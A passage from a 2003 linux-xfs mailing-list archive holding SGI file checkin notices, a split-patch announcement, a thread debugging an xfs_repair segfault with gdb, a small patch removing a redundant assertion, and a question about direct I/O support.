linux/arch/ppc/boot/common/mpc10x_memory.c - 1.2 linux/drivers/scsi/aic79xx/aic79xx_osm.h - 1.2 linux/drivers/scsi/aic79xx/CHANGELOG - 1.2 linux/drivers/scsi/aic79xx/Config.in - 1.2 linux/drivers/scsi/aic79xx/Makefile - 1.2 linux/drivers/scsi/aic79xx/aic79xx_osm_pci.c - 1.2 linux/drivers/scsi/aic79xx/aic79xx_pci.c - 1.2 linux/drivers/scsi/aic79xx/aic79xx_proc.c - 1.2 linux/drivers/scsi/aic79xx/aic79xx_reg.h - 1.2 linux/drivers/scsi/aic79xx/aic79xx_reg_print.c - 1.2 linux/drivers/scsi/aic79xx/aic79xx_seq.h - 1.2 linux/drivers/scsi/aic79xx/aicasm/Makefile - 1.2 linux/drivers/scsi/aic79xx/aicasm/aicasm.c - 1.2 linux/drivers/scsi/aic79xx/aicasm/aicasm.h - 1.2 linux/drivers/scsi/aic79xx/aicasm/aicasm_gram.y - 1.2 linux/drivers/scsi/aic79xx/aicasm/aicasm_insformat.h - 1.2 linux/drivers/scsi/aic79xx/aicasm/aicasm_macro_gram.y - 1.2 linux/drivers/scsi/aic79xx/aicasm/aicasm_macro_scan.l - 1.2 linux/drivers/scsi/aic79xx/aicasm/aicasm_scan.l - 1.2 linux/drivers/scsi/aic79xx/aicasm/aicasm_symbol.c - 1.2 linux/drivers/scsi/aic79xx/aicasm/aicasm_symbol.h - 1.2 linux/drivers/scsi/aic79xx/aiclib.c - 1.2 linux/drivers/scsi/aic79xx/aiclib.h - 1.2 linux/drivers/scsi/aic79xx/cam.h - 1.2 linux/drivers/scsi/aic79xx/queue.h - 1.2 linux/drivers/scsi/aic79xx/scsi_iu.h - 1.2 linux/drivers/scsi/aic79xx/aic79xx.h - 1.2 linux/drivers/scsi/aic79xx/scsi_message.h - 1.2 linux/drivers/scsi/aic79xx/aic79xx.reg - 1.2 linux/drivers/scsi/aic79xx/aic79xx.seq - 1.2 linux/drivers/scsi/aic79xx/aic79xx_osm.c - 1.2 linux/drivers/scsi/aic79xx/aic79xx_inline.h - 1.2 linux/drivers/scsi/aic79xx/aic79xx_core.c - 1.2 From owner-linux-xfs@oss.sgi.com Tue Sep 2 15:30:15 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 02 Sep 2003 15:30:33 -0700 (PDT) Received: from zok.sgi.com (zok.SGI.COM [204.94.215.101]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h82MUEWZ016208 for ; Tue, 2 Sep 2003 15:30:15 -0700 Received: from flecktone.americas.sgi.com (flecktone.americas.sgi.com [192.48.203.135]) by zok.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with ESMTP id h82MU9q0006410 for ; Tue, 2 Sep 2003 15:30:09 -0700 Received: from daisy-e236.americas.sgi.com (daisy-e236.americas.sgi.com [128.162.236.214]) by flecktone.americas.sgi.com (8.12.9/8.12.9/generic_config-1.2) with ESMTP id h82MU8cc11470790 for ; Tue, 2 Sep 2003 17:30:08 -0500 (CDT) Received: from naboo.americas.sgi.com (naboo.americas.sgi.com [128.162.233.73]) by daisy-e236.americas.sgi.com (8.12.9/SGI-server-1.8) with ESMTP id h82MU8Rn247410626; Tue, 2 Sep 2003 17:30:08 -0500 (CDT) Received: by naboo.americas.sgi.com (Postfix, from userid 29039) id 8A476186C711; Tue, 2 Sep 2003 17:30:07 -0500 (CDT) Subject: TAKE 899885 - Back fill some missed 2.4.22 changes due to pre-existing changes Message-Id: <20030902223007.8A476186C711@naboo.americas.sgi.com> Date: Tue, 2 Sep 2003 17:30:07 -0500 (CDT) From: cattelan@naboo.americas.sgi.com (Russell Cattelan) To: undisclosed-recipients:;;;;@sgi.com;;; X-archive-position: 266 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: cattelan@naboo.americas.sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 1087 Lines: 35 Date: Tue Sep 2 15:05:26 PDT 2003 Workarea: naboo.americas.sgi.com:/go/space/XFS/x2.4-xfs-patch The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:157648a linux/mm/filemap.c - 1.119 linux/kernel/sysctl.c - 1.53 linux/kernel/ksyms.c - 1.146 linux/include/linux/sysctl.h - 1.57 linux/include/linux/quotaops.h - 1.16 linux/include/linux/quota.h - 1.16 linux/include/linux/fs.h - 1.163 linux/fs/inode.c - 1.66 linux/fs/dquot.c - 1.51 linux/fs/buffer.c - 1.121 linux/fs/Makefile - 1.56 linux/fs/Config.in - 1.90 linux/arch/sparc64/kernel/systbls.S - 1.25 linux/arch/sparc64/kernel/sys_sparc32.c - 1.49 linux/arch/i386/kernel/io_apic.c - 1.38 linux/Makefile - 1.193 linux/Documentation/Configure.help - 1.148 linux/include/asm-i386/kmap_types.h - 1.8 linux/arch/ppc/configs/walnut_defconfig - 1.21 linux/arch/ia64/ia32/sys_ia32.c - 1.24 linux/arch/s390/defconfig - 1.14 linux/arch/s390x/kernel/linux32.c - 1.11 linux/arch/s390x/defconfig - 1.13 linux/fs/quota.c - 1.14 linux/fs/intermezzo/vfs.c - 1.10 linux/fs/quota_v1.c - 1.2 From owner-linux-xfs@oss.sgi.com Tue Sep 2 17:33:39 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 02 Sep 2003 17:34:20 -0700 (PDT) Received: from zok.sgi.com (zok.SGI.COM [204.94.215.101]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h830XdWZ024696 for ; Tue, 2 Sep 2003 17:33:39 -0700 Received: from bruce.melbourne.sgi.com (bruce.melbourne.sgi.com [134.14.54.176]) by zok.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with ESMTP id h830XWq0017871 for ; Tue, 2 Sep 2003 17:33:33 -0700 Received: from bruce.melbourne.sgi.com (localhost.localdomain [127.0.0.1]) by bruce.melbourne.sgi.com (8.12.8/8.12.8) with ESMTP id h830X0kP028911 for ; Wed, 3 Sep 2003 10:33:00 +1000 Received: (from fsgqa@localhost) by bruce.melbourne.sgi.com (8.12.8/8.12.8/Submit) id h830WxXI028910 for linux-xfs@oss.sgi.com; Wed, 3 Sep 2003 10:32:59 +1000 Date: Wed, 3 Sep 2003 10:32:59 +1000 From: FSG QA Message-Id: <200309030032.h830WxXI028910@bruce.melbourne.sgi.com> Subject: TAKE - xfstests X-archive-position: 267 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: fsgqa@bruce.melbourne.sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 803 Lines: 31 Tweak bench script output format. Date: Mon Sep 1 15:44:21 PDT 2003 Workarea: bruce.melbourne.sgi.com:/home/fsgqa/qa/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: xfs-cmds:slinx:157592a cmd/xfstests/bench - 1.22 Make test 040 less verbose since most people don't want to know; add some old IRIX performance unit tests - metaperf and dirperf. Date: Tue Sep 2 17:30:33 PDT 2003 Workarea: bruce.melbourne.sgi.com:/home/fsgqa/qa/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: xfs-cmds:slinx:157656a cmd/xfstests/src/metaperf.c - 1.1 cmd/xfstests/040.good - 1.1 cmd/xfstests/src/dirperf.c - 1.1 cmd/xfstests/040 - 1.9 cmd/xfstests/040.out - 1.5 cmd/xfstests/src/Makefile - 1.17 From owner-linux-xfs@oss.sgi.com Tue Sep 2 21:26:46 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 02 Sep 2003 21:27:54 -0700 (PDT) Received: from tolkor.sgi.com ([198.149.18.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h834QjWZ014738 for ; Tue, 2 Sep 2003 21:26:46 -0700 Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by tolkor.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with SMTP id h834hOss005277 for ; Tue, 2 Sep 2003 23:43:24 -0500 Received: from kao2.melbourne.sgi.com (kao2.melbourne.sgi.com [134.14.55.180]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id OAA11369 for ; Wed, 3 Sep 2003 14:26:37 +1000 Received: by kao2.melbourne.sgi.com (Postfix, from userid 16331) id DAFB1C00AF; Wed, 3 Sep 2003 14:26:36 +1000 (EST) Received: from kao2.melbourne.sgi.com (localhost [127.0.0.1]) by kao2.melbourne.sgi.com (Postfix) with ESMTP id D78F01400B1 for ; Wed, 3 Sep 2003 14:26:36 +1000 (EST) X-Mailer: exmh version 2.5 01/15/2001 with nmh-1.0.4 From: Keith Owens To: linux-xfs@oss.sgi.com Subject: Announce: XFS split patches for 2.4.22 Date: Wed, 03 Sep 2003 14:26:35 +1000 Message-ID: <4929.1062563195@kao2.melbourne.sgi.com> X-archive-position: 268 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: kaos@sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 888 Lines: 26 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Content-Type: text/plain; charset=us-ascii ftp://oss.sgi.com/projects/xfs/download/patches/2.4.22. For some time the XFS group have been producing split patches for XFS, separating the core XFS changes from additional patches such as kdb, acl, dmapi. The split patches are released to the world with the hope that developers and distributors will find them useful. Read the README in each directory very carefully, the split patch format has changed over a few kernel releases. Any questions that are covered by the README will be ignored. There is even a 2.4.23/README for the terminally impatient :). -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) Comment: Exmh version 2.1.1 10/15/1999 iD8DBQE/VW17i4UHNye0ZOoRAlx4AJ9YX+4BTPRmiLUGOU5jz5mP3klI/ACdHQ/q CTO9XYJnQc3fKi6NEz/6Qlc= =zsj1 -----END PGP SIGNATURE----- From owner-linux-xfs@oss.sgi.com Tue Sep 2 22:22:20 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 02 Sep 2003 22:23:30 -0700 (PDT) Received: from mx-01-bsl.sauter-bc.com (mx-01-bsl.sauter-bc.com [213.173.165.132]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h835MIWZ031596 for ; Tue, 2 Sep 2003 22:22:19 -0700 Received: from mailhub.ch.sauter-bc.com (mailhub [10.1.6.26]) by mx-01-bsl.sauter-bc.com (Postfix) with ESMTP id CAE4732CA1; Wed, 3 Sep 2003 07:22:12 +0200 (CEST) Received: from imap01.ch.sauter-bc.com (imap01.ch.sauter-bc.com [10.1.6.25]) by mailhub.ch.sauter-bc.com (Postfix) with ESMTP id 1627B32CB5; Wed, 3 Sep 2003 07:22:12 +0200 (CEST) Received: from webmail.ch.sauter-bc.com (localhost.localdomain [127.0.0.1]) by imap01.ch.sauter-bc.com (Postfix) with SMTP id A3B3B11E0B; Wed, 3 Sep 2003 07:22:11 +0200 (CEST) Received: from 213.173.165.140 (proxying for 157.161.34.15) (SquirrelMail authenticated user mattesim) by imap01.ch.sauter-bc.com with HTTP; Wed, 3 Sep 2003 07:22:11 +0200 (CEST) Message-ID: <45181.213.173.165.140.1062566531.squirrel@imap01.ch.sauter-bc.com> In-Reply-To: <43946.213.173.165.140.1062501263.squirrel@imap01.ch.sauter-bc.com> References: <41782.213.173.165.140.1062330069.squirrel@imap01.ch.sauter-bc.com> <20030902071613.GB1378@frodo> <43946.213.173.165.140.1062501263.squirrel@imap01.ch.sauter-bc.com> Date: Wed, 3 Sep 2003 07:22:11 +0200 (CEST) Subject: Re: XFS shutdown with 1.3.0 From: "Simon Matter" To: "Nathan Scott" Cc: linux-xfs@oss.sgi.com User-Agent: SquirrelMail/1.4.1 MIME-Version: 1.0 Content-Type: text/plain;charset=iso-8859-1 X-Priority: 3 Importance: Normal Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id h835MKWZ031699 X-archive-position: 269 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: simon.matter@ch.sauter-bc.com Precedence: bulk X-list: linux-xfs Content-Length: 5122 Lines: 144 Nathan, I have now run xfs_repair without -n several times but it still segfaults in the same place. Although the filesystem is still mountable, I'm a bit worried... How do I call xfs_repair with gdb to produce useful output? Do I need a debug enabled version of xfs_repair? Simon >>> xfs_inotobp: xfs_imap() returned an error 22 on md(9,8). Returning >>> error. >>> xfs_iunlink_remove: xfs_inotobp() returned an error 22 on md(9,8). >>> Returning error. >>> xfs_inactive: xfs_ifree() returned an error = 22 on md(9,8) >>> xfs_force_shutdown(md(9,8),0x1) called from line 1846 of file >>> xfs_vnodeops.c. Return address = 0xd08bd8c6 >>> Filesystem "md(9,8)": I/O Error Detected. Shutting down filesystem: >>> md(9,8) >>> Please umount the filesystem, and rectify the problem(s) >> >> Hmmm - seen a couple of these reports now, unfortunately I haven't >> come across it myself yet. Someone else has a bugzilla bug open, >> it seems to be really difficult to trigger this one. >> > > The only thing I did in that moment was removing a file of ~1.5G size with > rm file. Although there were some files open on this filesystem via NFS, > there was absolutely no activity. > >>> >>> [root@xxl root]# xfs_check /dev/md8 >>> xfs_check: warning - cannot get sector size from block device /dev/md8: >>> Invalid argument >> ^^^^^^^^^^^^^^^^^^^ >> this is where those bogus md "ictls" are coming from, btw. Its >> fixed in more recent kernels, you can search lkml archives for >> recent Neil Brown patches and find the fix (its some missing code >> in md, and is harmless here). > > I've seen this since long time so I didn't worry about it. > >> >>> agf_freeblks 22053, counted 30629 in ag 6 >>> agi_freecount 332, counted 331 in ag 153 >>> >>> [root@xxl root]# xfs_repair -n -l /dev/md9 /dev/md8 >> >> Running xfs_repair without -n might help in this case to fix sufficient >> data on the first run that subsequent runs don't dump core. :| > > Now that I took a recent backup of the most important data, I'll try this > next :) > >> >> The gdb trace from xfs_repair will provide more clues here too. >> >>> xfs_repair: warning - cannot get sector size from block device >>> /dev/md8: >>> Invalid argument >>> xfs_repair: warning - cannot get sector size from block device >>> /dev/md9: >>> Invalid argument >>> Phase 1 - find and verify superblock... >>> sb root inode value 128 inconsistent with calculated value 512 >>> would reset superblock root inode pointer to 512 >> >> Wierd. Is this a 4K blocksize filesystem? Do you have xfs_info >> output handy? taa. > > [root@xxl root]# xfs_info /home > meta-data=/home isize=256 agcount=160, agsize=262144 > blks > = sectsz=512 > data = bsize=4096 blocks=41889120, imaxpct=25 > = sunit=32 swidth=96 blks, unwritten=0 > naming =version 2 bsize=4096 > log =external bsize=4096 blocks=25600, version=1 > = sectsz=512 sunit=0 blks > realtime =none extsz=393216 blocks=0, rtextents=0 > > IIRC I created the FS with some XFS 1.0.x version. The size was ~20G, I > have since grown it to ~170G. > >> >>> sb realtime bitmap inode 129 inconsistent with calculated value 513 >>> would reset superblock realtime bitmap ino pointer to 513 >>> sb realtime summary inode 130 inconsistent with calculated value 514 >>> would reset superblock realtime summary ino pointer to 514 >>> Phase 2 - using external log on /dev/md9 >>> - scan filesystem freespace and inode maps... >>> root inode chunk not found >>> avl_insert: Warning! duplicate range [512,576] >>> add_inode - duplicate inode range >>> Phase 3 - for each AG... >>> - scan (but don't clear) agi unlinked lists... >>> - process known inodes and perform inode discovery... >>> - agno = 0 >>> bad .. entry in directory inode 128, points to self: would clear entry >>> data fork in inode 170 claims metadata block 32 >>> bad data fork in inode 170 >>> would have cleared inode 170 >>> data fork in inode 171 claims metadata block 33 >>> bad data fork in inode 171 >>> would have cleared inode 171 >>> - agno = 1 >>> - agno = 2 >>> - agno = 3 >>> - agno = 4 >>> - agno = 5 >>> >>> - agno = 156 >>> - agno = 157 >>> - agno = 158 >>> - agno = 159 >>> - process newly discovered inodes... >>> Phase 4 - check for duplicate blocks... >>> - setting up duplicate extent list... >>> Segmentation fault >>> >>> [root@xxl root]# xfs_repair -V >>> xfs_repair version 2.5.6 >>> >>> I never considered the following a problem but wanted to mention it >>> anyways. >>> While running xfs_check and xfs_repair, I also get this in the logs: >>> >>> md: xfs_db(pid 9985) used obsolete MD ioctl, upgrade your software to >>> use >>> new ictls. >> >> This part at least is an md problem fixed in more recent kernels. >> The corruption is more concerning though, and unrelated. >> >> cheers. >> >> -- >> Nathan >> > > > From owner-linux-xfs@oss.sgi.com Tue Sep 2 22:51:23 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 02 Sep 2003 22:52:05 -0700 (PDT) Received: from zok.sgi.com (zok.SGI.COM [204.94.215.101]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h835pNWZ008435 for ; Tue, 2 Sep 2003 22:51:23 -0700 Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by zok.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with SMTP id h835pEq0014435 for ; Tue, 2 Sep 2003 22:51:15 -0700 Received: from wobbly.melbourne.sgi.com (wobbly.melbourne.sgi.com [134.14.55.135]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id PAA12284; Wed, 3 Sep 2003 15:49:56 +1000 Received: from frodo.melbourne.sgi.com (root@frodo.melbourne.sgi.com [134.14.55.153]) by wobbly.melbourne.sgi.com (SGI-8.12.5/8.12.5) with ESMTP id h835nrmY105730; Wed, 3 Sep 2003 15:49:54 +1000 (EST) Received: from frodo.melbourne.sgi.com (nathans@localhost [127.0.0.1]) by frodo.melbourne.sgi.com (8.12.9/8.12.9/Debian-3) with ESMTP id h835m4iA001994; Wed, 3 Sep 2003 15:48:04 +1000 Received: (from nathans@localhost) by frodo.melbourne.sgi.com (8.12.9/8.12.9/Debian-3) id h835lxWv001992; Wed, 3 Sep 2003 15:47:59 +1000 Date: Wed, 3 Sep 2003 15:47:59 +1000 From: Nathan Scott To: Simon Matter Cc: linux-xfs@oss.sgi.com Subject: Re: XFS shutdown with 1.3.0 Message-ID: <20030903054759.GB1002@frodo> References: <41782.213.173.165.140.1062330069.squirrel@imap01.ch.sauter-bc.com> <20030902071613.GB1378@frodo> <43946.213.173.165.140.1062501263.squirrel@imap01.ch.sauter-bc.com> <45181.213.173.165.140.1062566531.squirrel@imap01.ch.sauter-bc.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <45181.213.173.165.140.1062566531.squirrel@imap01.ch.sauter-bc.com> User-Agent: Mutt/1.5.3i X-archive-position: 270 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: nathans@sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 574 Lines: 24 On Wed, Sep 03, 2003 at 07:22:11AM +0200, Simon Matter wrote: > Nathan, > > I have now run xfs_repair without -n several times but it still segfaults > in the same place. Although the filesystem is still mountable, I'm a bit > worried... > How do I call xfs_repair with gdb to produce useful output? Do I need a > debug enabled version of xfs_repair? IIRC, by default we build the tools with -g, so symbols should be visible to gdb as is. Here's the command line you're after: # gdb -q /bin/xfs_repair (gdb) r /dev/XXX ... (gdb) where ... etc ... cheers. -- Nathan From owner-linux-xfs@oss.sgi.com Tue Sep 2 23:18:47 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 02 Sep 2003 23:19:40 -0700 (PDT) Received: from localhost.loaldomain (CPE-144-136-96-172.nsw.bigpond.net.au [144.136.96.172]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h836IjWZ017284 for ; Tue, 2 Sep 2003 23:18:47 -0700 Received: from netscape.net (localhost.loaldomain [127.0.0.1]) by localhost.loaldomain (8.12.8/8.12.8) with ESMTP id h836IXrQ012507 for ; Wed, 3 Sep 2003 16:18:39 +1000 Message-ID: <3F5587B9.2000907@netscape.net> Date: Wed, 03 Sep 2003 16:18:33 +1000 From: How Wong User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: linux-xfs@oss.sgi.com Subject: how stable is XFS kernel 2.4.22 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 271 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: grandsonata@netscape.net Precedence: bulk X-list: linux-xfs Content-Length: 2 Lines: 2 From owner-linux-xfs@oss.sgi.com Wed Sep 3 03:46:20 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 03 Sep 2003 03:47:47 -0700 (PDT) Received: from mail.lst.de (verein.lst.de [212.34.189.10]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h83AkGWZ024162 for ; Wed, 3 Sep 2003 03:46:19 -0700 Received: from verein.lst.de (localhost [127.0.0.1]) by mail.lst.de (8.12.3/8.12.3/Debian-6.4) with ESMTP id h83AkEZ4000331 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 3 Sep 2003 12:46:14 +0200 Received: (from hch@localhost) by verein.lst.de (8.12.3/8.12.3/Debian-6.3) id h83AkDwH000329 for linux-xfs@oss.sgi.com; Wed, 3 Sep 2003 12:46:13 +0200 Date: Wed, 3 Sep 2003 12:46:13 +0200 From: Christoph Hellwig To: linux-xfs@oss.sgi.com Subject: [hch: [PATCH] kill a bogus assert] Message-ID: <20030903104613.GA316@lst.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.28i X-Spam-Score: -3 () PATCH_UNIFIED_DIFF,USER_AGENT_MUTT X-Scanned-By: MIMEDefang 2.33 (www . roaringpenguin . com / mimedefang) X-archive-position: 272 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: hch@lst.de Precedence: bulk X-list: linux-xfs Content-Length: 876 Lines: 26 Okay, Steve is away.. ----- Forwarded message from Christoph Hellwig ----- Date: Wed, 3 Sep 2003 12:32:19 +0200 From: Christoph Hellwig Subject: [PATCH] kill a bogus assert To: lord@sgi.com gcc 3.3 complains about this and indeed it can only trigger if someone magically enlarges __uint8_t :) --- 1.11/fs/xfs/xfs_dir_leaf.c Thu Aug 7 16:58:33 2003 +++ edited/fs/xfs/xfs_dir_leaf.c Wed Sep 3 11:23:02 2003 @@ -1835,7 +1835,6 @@ entry_d = &leaf_d->entries[start_d]; for (i = 0; i < count; entry_s++, entry_d++, i++) { ASSERT(INT_GET(entry_s->nameidx, ARCH_CONVERT) >= INT_GET(hdr_s->firstused, ARCH_CONVERT)); - ASSERT(entry_s->namelen < MAXNAMELEN); tmp = XFS_DIR_LEAF_ENTSIZE_BYENTRY(entry_s); INT_MOD(hdr_d->firstused, ARCH_CONVERT, -(tmp)); entry_d->hashval = entry_s->hashval; /* INT_: direct copy */ ----- End forwarded message ----- From owner-linux-xfs@oss.sgi.com Wed Sep 3 07:54:57 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 03 Sep 2003 07:55:38 -0700 (PDT) Received: from mx-01-bsl.sauter-bc.com (mx-01-bsl.sauter-bc.com [213.173.165.132]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h83EstWZ031393 for ; Wed, 3 Sep 2003 07:54:56 -0700 Received: from mailhub.ch.sauter-bc.com (mailhub [10.1.6.26]) by mx-01-bsl.sauter-bc.com (Postfix) with ESMTP id 83BED32CB1; Wed, 3 Sep 2003 16:54:49 +0200 (CEST) Received: from mx-05-bsl.ch.sauter-bc.com (mx-05-bsl.ch.sauter-bc.com [10.1.6.20]) by mailhub.ch.sauter-bc.com (Postfix) with ESMTP id A3A2E32CD2; Wed, 3 Sep 2003 16:54:48 +0200 (CEST) Received: from ch.sauter-bc.com (sup.ch.sauter-bc.com [10.1.200.117]) by mx-05-bsl.ch.sauter-bc.com (Postfix) with ESMTP id 920A24E20E; Wed, 3 Sep 2003 16:54:48 +0200 (CEST) Message-ID: <3F5600B8.3BC6D5E3@ch.sauter-bc.com> Date: Wed, 03 Sep 2003 16:54:48 +0200 From: Simon Matter Organization: Sauter AG, Basel X-Mailer: Mozilla 4.77 [de] (X11; U; Linux 2.2.24-6.2.3 i686) X-Accept-Language: de-CH, de, en-US, en MIME-Version: 1.0 To: Nathan Scott Cc: linux-xfs Subject: Re: XFS shutdown with 1.3.0 References: <41782.213.173.165.140.1062330069.squirrel@imap01.ch.sauter-bc.com> <20030902071613.GB1378@frodo> <43946.213.173.165.140.1062501263.squirrel@imap01.ch.sauter-bc.com> <45181.213.173.165.140.1062566531.squirrel@imap01.ch.sauter-bc.com> <20030903054759.GB1002@frodo> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 274 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: simon.matter@ch.sauter-bc.com Precedence: bulk X-list: linux-xfs Content-Length: 2134 Lines: 63 Nathan Scott schrieb: > > On Wed, Sep 03, 2003 at 07:22:11AM +0200, Simon Matter wrote: > > Nathan, > > > > I have now run xfs_repair without -n several times but it still segfaults > > in the same place. Although the filesystem is still mountable, I'm a bit > > worried... > > How do I call xfs_repair with gdb to produce useful output? Do I need a > > debug enabled version of xfs_repair? > > IIRC, by default we build the tools with -g, so symbols should be > visible to gdb as is. Here's the command line you're after: > Hm, that's almost correct. The build is with debug enabled by default but the rpm packages are stripped in the %install step. Adding '%undefine __os_install_post' to the spec file has helped. Here we go: - agno = 156 - agno = 157 - agno = 158 - agno = 159 - process newly discovered inodes... Phase 4 - check for duplicate blocks... - setting up duplicate extent list... Program received signal SIGSEGV, Segmentation fault. 0x08067d92 in phase4 (mp=0xbfffe730) at phase4.c:1156 1156 phase4.c: No such file or directory. in phase4.c (gdb) where #0 0x08067d92 in phase4 (mp=0xbfffe730) at phase4.c:1156 #1 0x0807aea1 in main (argc=4, argv=0xbfffe9c4) at xfs_repair.c:514 #2 0x4003c657 in __libc_start_main (main=0x807accc
, argc=4, ubp_av=0xbfffe9c4, init=0x8048ce4 <_init>, fini=0x80b2980 <_fini>, rtld_fini=0x4000dcd4 <_dl_fini>, stack_end=0xbfffe9bc) at ../sysdeps/generic/libc-start.c:129 (gdb) BTW, it looks like running xfs_repair was not only good: [root@xxl pub]# ls -a Linux/SAPDB/CD-200110/html/htmhelp/5b/33016abc0d11d2a97100a0c9449261/ ls: Linux/SAPDB/CD-200110/html/htmhelp/5b/33016abc0d11d2a97100a0c9449261/content.htm: No such file or directory ls: Linux/SAPDB/CD-200110/html/htmhelp/5b/33016abc0d11d2a97100a0c9449261/frameset.htm: No such file or directory ls: Linux/SAPDB/CD-200110/html/htmhelp/5b/33016abc0d11d2a97100a0c9449261/content.htm: No such file or directory ls: Linux/SAPDB/CD-200110/html/htmhelp/5b/33016abc0d11d2a97100a0c9449261/frameset.htm: No such file or directory . .. [root@xxl pub]# Simon From owner-linux-xfs@oss.sgi.com Wed Sep 3 11:04:59 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 03 Sep 2003 11:05:45 -0700 (PDT) Received: from smtp.wangtrading.com (smtp.wangtrading.com [167.206.68.5]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h83I4vWZ023829 for ; Wed, 3 Sep 2003 11:04:58 -0700 Received: from mladen (Not Verified[192.168.3.47]) by smtp.wangtrading.com with NetIQ MailMarshal (v5.5.3.16) id ; Wed, 03 Sep 2003 13:53:28 -0400 Reply-To: From: "Mladen Gogala" To: Subject: Direct I/O on XFS Date: Wed, 3 Sep 2003 13:54:36 -0400 Organization: Wang Trading LLC Message-ID: <008901c37244$70335220$2f03a8c0@wangtrading.com> MIME-Version: 1.0 X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.4510 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 Content-Disposition: inline Content-Type: text/plain Content-Transfer-Encoding: 7bit X-archive-position: 277 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: mladen@wangtrading.com Precedence: bulk X-list: linux-xfs Content-Length: 1130 Lines: 23 Does XFS support direct I/O? When I say "direct I/O", I mean bypaassing the linux buffer cache, similar to raw devices. As you have probably guessed, I'm running oracle and double buffering is causing me a pain. Thanks, -- Mladen Gogala Oracle DBA Note: This message is for the named person's use only. It may contain confidential, proprietary or legally privileged information. No confidentiality or privilege is waived or lost by any mistransmission. If you receive this message in error, please immediately delete it and all copies of it from your system, destroy any hard copies of it and notify the sender. You must not, directly or indirectly, use, disclose, distribute, print, or copy any part of this message if you are not the intended recipient. Wang Trading LLC and any of its subsidiaries each reserve the right to monitor all e-mail communications through its networks. Any views expressed in this message are those of the individual sender, except where the message states otherwise and the sender is authorized to state them to be the views of any such entity. [[HTML alternate version deleted]] From owner-linux-xfs@oss.sgi.com Thu Sep 4 04:15:07 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 04 Sep 2003 04:15:50 -0700 (PDT) Received: from lips.thebarn.com (lips.borg.umn.edu [160.94.232.50]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h84BF0WZ019703 for ; Thu, 4 Sep 2003 04:15:07 -0700 Received: from [10.0.0.10] 